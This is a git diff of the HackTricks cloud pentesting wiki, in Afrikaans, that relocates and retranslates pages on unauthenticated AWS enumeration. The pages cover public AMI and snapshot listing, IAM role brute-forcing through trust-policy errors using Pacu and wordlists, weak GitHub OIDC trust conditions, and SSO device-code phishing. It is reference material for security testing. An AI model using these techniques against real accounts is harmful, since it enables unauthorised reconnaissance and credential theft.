src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md index e18405aee..b1822a40d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ -# AWS - EC2 Ongeauthentiseerde Enum +# AWS - EC2 Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EC2 & Verwante Dienste Kyk op hierdie bladsy vir meer inligting oor dit: {{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### Publieke Poorte -Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet bloot te stel**. Afhangende van **wat loop** op die blootgestelde poort, kan 'n aanvaller dit misbruik. +Dit is moontlik om **enige poort van die virtuele masjiene na die internet** bloot te stel. Afhangende van **wat op die blootgestelde poort loop**, kan 'n aanvaller dit misbruik. #### SSRF @@ -20,9 +20,9 @@ Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### Publieke AMI's & EBS Snapshotte +### Publieke AMIs & EBS Snapshots -AWS laat toe om **toegang aan enigiemand te gee om AMI's en Snapshotte af te laai**. Jy kan hierdie hulpbronne baie maklik vanaf jou eie rekening lys: +AWS laat toe om **toegang aan enigiemand te gee om AMIs en Snapshots af te laai**. Jy kan hierdie hulpbronne baie maklik vanaf jou eie rekening lys: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) na te gaan vir riglyne oor die aflaai en plunder van die snapshot. +As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) te raadpleeg vir riglyne oor hoe om die snapshot af te laai en te loot. #### Publieke URL-sjabloon ```bash @@ -51,4 +51,4 @@ https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index e94c03780..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Publieke registrasie repositories (beelde) - -Soos genoem in die ECS Enum afdeling, is 'n publieke registrasie **toeganklik vir enigiemand** en gebruik die formaat **`public.ecr.aws//`**. As 'n aanvaller 'n publieke repository URL vind, kan hy **die beeld aflaai en soek na sensitiewe inligting** in die metadata en inhoud van die beeld. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Dit kan ook gebeur in **privaat registries** waar 'n registry beleid of 'n repository beleid **toegang verleen byvoorbeeld aan `"AWS": "*"`**. Enigeen met 'n AWS-rekening kan toegang tot daardie repo verkry. - -### Enumereer Privaat Repo - -Die gereedskap [**skopeo**](https://github.com/containers/skopeo) en [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) kan gebruik word om toeganklike repositories binne 'n privaat registry te lys. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..b07d64011 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Publieke registry repositories (images) + +Soos genoem in die ECS Enum-afdeling, is 'n publieke registry **toeganklik vir enigiemand** en gebruik dit die formaat **`public.ecr.aws//`**. Indien 'n publieke repository-URL deur 'n aanvaller gevind word, kan hy die beeld **aflaai en soek na sensitiewe inligting** in die metadata en inhoud van die beeld. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Dit kan ook in **privaat registrasies** gebeur waar 'n registry policy of 'n repository policy byvoorbeeld toegang verleen aan **`"AWS": "*"`**. Enigiemand met 'n AWS-rekening kan toegang tot daardie repo kry. + +### Enumereer Privaat Repo + +Die gereedskap [**skopeo**](https://github.com/containers/skopeo) en [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) kan gebruik word om toeganklike repositories binne 'n privaat registrasie te lys. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md deleted file mode 100644 index ff7e393f7..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - ECS Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Publiek Toeganklike Sekuriteitsgroep of Laaibalanser vir ECS Dienste - -'n Foutief geconfigureerde sekuriteitsgroep wat **inkomende verkeer van die internet (0.0.0.0/0 of ::/0)** na die Amazon ECS dienste toelaat, kan die AWS hulpbronne aan aanvalle blootstel. -```bash -# Example of detecting misconfigured security group for ECS services -aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' - -# Example of detecting a publicly accessible load balancer for ECS services -aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md new file mode 100644 index 000000000..31f5ca8d6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -0,0 +1,23 @@ +# AWS - ECS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Openlik toeganklike Security Group of Load Balancer vir ECS Services + +'n Verkeerd gekonfigureerde security group wat **inbound verkeer vanaf die internet (0.0.0.0/0 or ::/0)** na die Amazon ECS services toelaat, kan die AWS hulpbronne aan aanvalle blootstel. +```bash +# Example of detecting misconfigured security group for ECS services +aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' + +# Example of detecting a publicly accessible load balancer for ECS services +aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index 3dbcbabd1..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Web kwesbaarheid - -Let daarop dat Beanstalk omgewings standaard die **Metadatav1 gedeaktiveer** het. - -Die formaat van die Beanstalk webbladsye is **`https://-env..elasticbeanstalk.com/`** - -### Onveilige Sekuriteitsgroep Reëls - -Sleg geconfigureerde sekuriteitsgroep reëls kan Elastic Beanstalk instansies aan die publiek blootstel. **Oormatig toelaatbare inkomende reëls, soos om verkeer van enige IP adres (0.0.0.0/0) op sensitiewe poorte toe te laat, kan aanvallers in staat stel om toegang tot die instansie te verkry**. - -### Publiek Toeganklike Laaibalans - -As 'n Elastic Beanstalk omgewing 'n laaibalans gebruik en die laaibalans geconfigureer is om publiek toeganklik te wees, kan aanvallers **versoeke direk na die laaibalans stuur**. Alhoewel dit dalk nie 'n probleem vir webtoepassings is wat bedoel is om publiek toeganklik te wees nie, kan dit 'n probleem wees vir private toepassings of omgewings. - -### Publiek Toeganklike S3 Emmers - -Elastic Beanstalk toepassings word dikwels in S3 emmers gestoor voor ontplooiing. As die S3 emmer wat die toepassing bevat publiek toeganklik is, kan 'n aanvaller **die toepassingskode aflaai en soek na kwesbaarhede of sensitiewe inligting**. - -### Enumereer Publieke Omgewings -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..9c5772d5a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Ongeauthentiseerde Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Web-kwesbaarheid + +Let wel dat Beanstalk-omgewings standaard die **Metadatav1 gedeaktiveer** het. + +Die formaat van die Beanstalk-webbladsye is **`https://-env..elasticbeanstalk.com/`** + +### Onveilige Security Group-reëls + +Verkeerd geconfigureerde Security Group-reëls kan Elastic Beanstalk-instanties vir die publiek blootstel. **Te permissiewe ingress-reëls, soos om verkeer vanaf enige IP-adres (0.0.0.0/0) op sensitiewe poorte toe te laat, kan aanvallers toelaat om toegang tot die instansie te kry.** + +### Openlik toeganklike Load Balancer + +As 'n Elastic Beanstalk-omgewing 'n load balancer gebruik en die load balancer geconfigureer is om openlik toeganklik te wees, kan aanvallers **versoeke direk na die load balancer stuur**. Alhoewel dit nie 'n probleem hoef te wees vir webtoepassings wat bedoel is om publiekelik toeganklik te wees nie, kan dit 'n probleem wees vir private toepassings of omgewings. + +### Openlik toeganklike S3-buckets + +Elastic Beanstalk-toepassings word dikwels in S3-buckets gestoor voor implementering. As die S3-bucket wat die toepassing bevat openlik toeganklik is, kan 'n aanvaller die toepassingskode **aflaai en soek na kwesbaarhede of sensitiewe inligting**. + +### Enumereer Openbare Omgewings +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md deleted file mode 100644 index e87e88ce3..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ /dev/null @@ -1,10 +0,0 @@ -# AWS - Elasticsearch Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Publieke URL sjabloon -``` -https://vpc-{user_provided}-[random].[region].es.amazonaws.com -https://search-{user_provided}-[random].[region].es.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md new file mode 100644 index 000000000..7556d9483 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -0,0 +1,10 @@ +# AWS - Elasticsearch Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Publieke URL-sjabloon +``` +https://vpc-{user_provided}-[random].[region].es.amazonaws.com +https://search-{user_provided}-[random].[region].es.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index 602c1d542..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Enumereer Rolle & Gebruikersname in 'n rekening - -### ~~Neem Rol Brute-Force~~ - -> [!CAUTION] -> **Hierdie tegniek werk nie** meer nie, aangesien jy altyd hierdie fout kry, ongeag of die rol bestaan of nie: -> -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> Jy kan **dit toets deur**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -Probeer om **'n rol aan te neem sonder die nodige toestemmings** aktiveer 'n AWS foutboodskap. Byvoorbeeld, as jy nie gemagtig is nie, kan AWS teruggee: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -Hierdie boodskap bevestig die rol se bestaan, maar dui aan dat sy aanname rolbeleid nie jou aanname toelaat nie. In teenstelling hiermee, probeer om **'n nie-bestaande rol aan te neem lei tot 'n ander fout**: -```less -An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -Interessant genoeg is hierdie metode van **onderskeiding tussen bestaande en nie-bestaande rolle** toepaslik selfs oor verskillende AWS-rekeninge. Met 'n geldige AWS-rekening ID en 'n geteikende woordlys, kan 'n mens die rolle in die rekening opnoem sonder om enige inherente beperkings te ondervind. - -Jy kan hierdie [script gebruik om potensiële principals op te noem](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) wat hierdie probleem misbruik. - -### Vertrou Beleide: Brute-Force Kruisrekening rolle en gebruikers - -Om 'n **IAM rol se vertrou beleid te konfigureer of op te dateer, behels dit om te definieer watter AWS hulpbronne of dienste toegelaat word om daardie rol aan te neem** en tydelike kredensiale te verkry. As die gespesifiseerde hulpbron in die beleid **bestaande** is, stoor die vertrou beleid **suksesvol**. As die hulpbron egter **nie bestaan nie**, word 'n **fout gegenereer**, wat aandui dat 'n ongeldige principal verskaf is. - -> [!WARNING] -> Let daarop dat jy in daardie hulpbron 'n kruisrekening rol of gebruiker kan spesifiseer: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -Dit is 'n beleidsvoorbeeld: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -Dit is die **fout** wat jy sal vind as jy 'n **rol wat nie bestaan nie** gebruik. As die rol **bestaan**, sal die beleid **gestoor** word sonder enige foute. (Die fout is vir opdatering, maar dit werk ook wanneer jy skep) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -U kan hierdie proses outomaties maak met [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -Ons gebruik [Pacu](https://github.com/RhinoSecurityLabs/pacu): - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Die `admin` rol wat in die voorbeeld gebruik word, is 'n **rol in jou rekening wat deur pacu geïmplementeer kan word** om die beleide te skep wat dit nodig het om vir die enumerasie te skep - -### Privesc - -In die geval dat die rol sleg gekonfigureer is en enige iemand toelaat om dit aan te neem: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Die aanvaller kan dit net aanvaar. - -## Derdeparty OIDC Federasie - -Stel jou voor dat jy daarin slaag om 'n **Github Actions workflow** te lees wat toegang verkry tot 'n **rol** binne **AWS**.\ -Hierdie vertroue mag toegang gee tot 'n rol met die volgende **vertrouensbeleid**: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -Hierdie vertrouensbeleid mag korrek wees, maar die **gebrek aan meer voorwaardes** behoort jou te laat wantrou.\ -Dit is omdat die vorige rol deur **ENIGEEN van Github Actions** aanvaar kan word! Jy moet ook ander dinge soos organisasienaam, repo naam, omgewing, tak in die voorwaardes spesifiseer... - -'n Ander potensiële miskonfigurasie is om **'n voorwaarde** soos die volgende by te voeg: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -Let wel dat **wildcard** (\*) voor die **kolon** (:). Jy kan 'n org soos **org_name1** skep en **die rol aanvaar** vanaf 'n Github Action. - -## Verwysings - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..1e4965066 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lys rolle en gebruikersname in 'n rekening + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **Hierdie tegniek werk nie meer nie** aangesien jy, ongeag of die rol bestaan of nie, altyd hierdie fout kry: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> Jy kan dit **toets deur dit te laat loop**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +Attempting to **assume a role without the necessary permissions** sal 'n AWS-foutboodskap veroorsaak. Byvoorbeeld, as jy nie gemagtig is nie, kan AWS die volgende teruggee: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +Hierdie boodskap bevestig die bestaan van die rol, maar dui aan dat die assume role policy nie toelaat dat jy die rol aanneem nie. In teenstelling hiermee, **om 'n nie-bestaande rol aan te neem lei tot 'n ander fout**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +Interessant genoeg is hierdie metode om **te onderskei tussen bestaande en nie-bestaande roles** selfs toepaslik oor verskillende AWS-accounts. Met 'n geldige AWS account ID en 'n geteikende woordlys kan 'n mens die roles in die account enumereer sonder enige inherente beperkings. + +Jy kan hierdie [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) misbruik om hierdie kwessie uit te buit. + +### Trust Policies: Brute-Force Cross Account roles and users + +Om 'n **IAM role se trust policy te konfigureer of op te dateer behels die definisie watter AWS resources of services toegelaat word om daardie role aan te neem** en tydelike credentials te verkry. As die gespesifiseerde resource in die policy **bestaan**, stoor die trust policy **suksesvol**. Indien die resource **nie bestaan nie**, word 'n **fout gegenereer** wat aandui dat 'n ongeldige principal verskaf is. + +> [!WARNING] +> Neem kennis dat jy in daardie resource 'n cross account role of user kan spesifiseer: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +Hier is 'n policy voorbeeld: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### GUI + +Dit is die **fout** wat jy sal vind as jy 'n **role that doesn't exist** gebruik. As die role **exist**, sal die policy **saved** word sonder enige foute. (Die fout is vir update, maar dit werk ook wanneer creating) + +![](<../../../images/image (153).png>) + +#### CLI +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +Jy kan hierdie proses outomatiseer met [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +Of met behulp van [Pacu](https://github.com/RhinoSecurityLabs/pacu): + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- Die `admin` role wat in die voorbeeld gebruik word, is 'n **role in jou rekening wat deur pacu geïmpersonifieer word** om die policies te skep wat dit benodig vir die enumerasie + +### Privesc + +In die geval die role sleg gekonfigureer is en enigeen toelaat om dit te assume: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Die aanvaller kan dit net assume. + +## Derdepartye OIDC-federasie + +Stel jou voor dat jy dit regkry om 'n **Github Actions workflow** te lees wat toegang tot 'n **role** binne **AWS** het.\ +Hierdie vertrouensverhouding kan toegang gee tot 'n **role** met die volgende **trust policy**: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +Hierdie trust policy mag korrek wees, maar die **gebrek aan meer voorwaardes** behoort jou agterdogtig te maak.\ +Dit is omdat die vorige rol aangeneem kan word deur **ENIGEEN van Github Actions**! Jy moet in die conditions ook ander dinge spesifiseer soos org-naam, repo-naam, env, tak... + +Nog 'n potensiële misconfiguratie is om 'n **voorwaarde by te voeg** soos die volgende: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +Let op dat **wildcard** (\*) voor die **dubbele punt** (:) staan. Jy kan 'n org skep soos **org_name1** en **assume the role** vanaf 'n Github Action uitvoer. + +## Verwysings + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md index c964fb094..f7448482c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -1,33 +1,33 @@ -# AWS - Identiteitsentrum & SSO Ongeauthentiseerde Enum +# AWS - Identity Center & SSO Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## AWS Toestelkode Phishing +## AWS Device Code Phishing -Aanvanklik voorgestel in [**hierdie blogpos**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), dit is moontlik om 'n **skakel** na 'n gebruiker te stuur wat AWS SSO gebruik, wat, indien die **gebruiker aanvaar**, die aanvaller in staat sal stel om 'n **token te verkry om die gebruiker na te boots** en toegang te verkry tot al die rolle wat die gebruiker kan toegang hê in die **Identiteitsentrum**. +Aanvanklik voorgestel in [**hierdie blogpos**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), is dit moontlik om 'n **skakel** aan 'n gebruiker wat AWS SSO gebruik te stuur wat, as die **gebruiker dit aanvaar**, die aanvaller in staat sal stel om 'n **token to impersonate the user** te kry en toegang tot al die rolle wat die gebruiker in die **Identity 